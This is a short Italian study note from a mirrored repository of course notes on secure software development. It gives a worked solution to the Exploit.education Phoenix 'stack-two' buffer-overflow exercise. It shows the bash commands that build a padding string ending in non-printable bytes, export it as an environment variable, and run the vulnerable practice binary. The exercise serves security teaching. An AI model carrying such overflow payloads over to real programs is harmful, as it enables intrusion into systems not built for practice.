1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-24 11:14:18 +00:00
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/02 - stack-two.md
2023-09-21 02:46:23 +02:00

905 B

Stack Two

Il valore desiderato richiede caratteri non stampabili.

Da bash:

  1. Si usa printf per trasformare le escape sequence nei caratteri desiderati:

    printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
    aaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r'
    
  2. Si usa la command substitution per scrivere i caratteri desiderati nel comando:

    echo $(printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r')
    
  3. Si usa il comando export per impostare la variabile d'ambiente al valore desiderato:

    export ExploitEducation=$(printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r')
    
  4. Si esegue il programma da exploitare.

Soluzione

export ExploitEducation=$(printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r')
./stack-two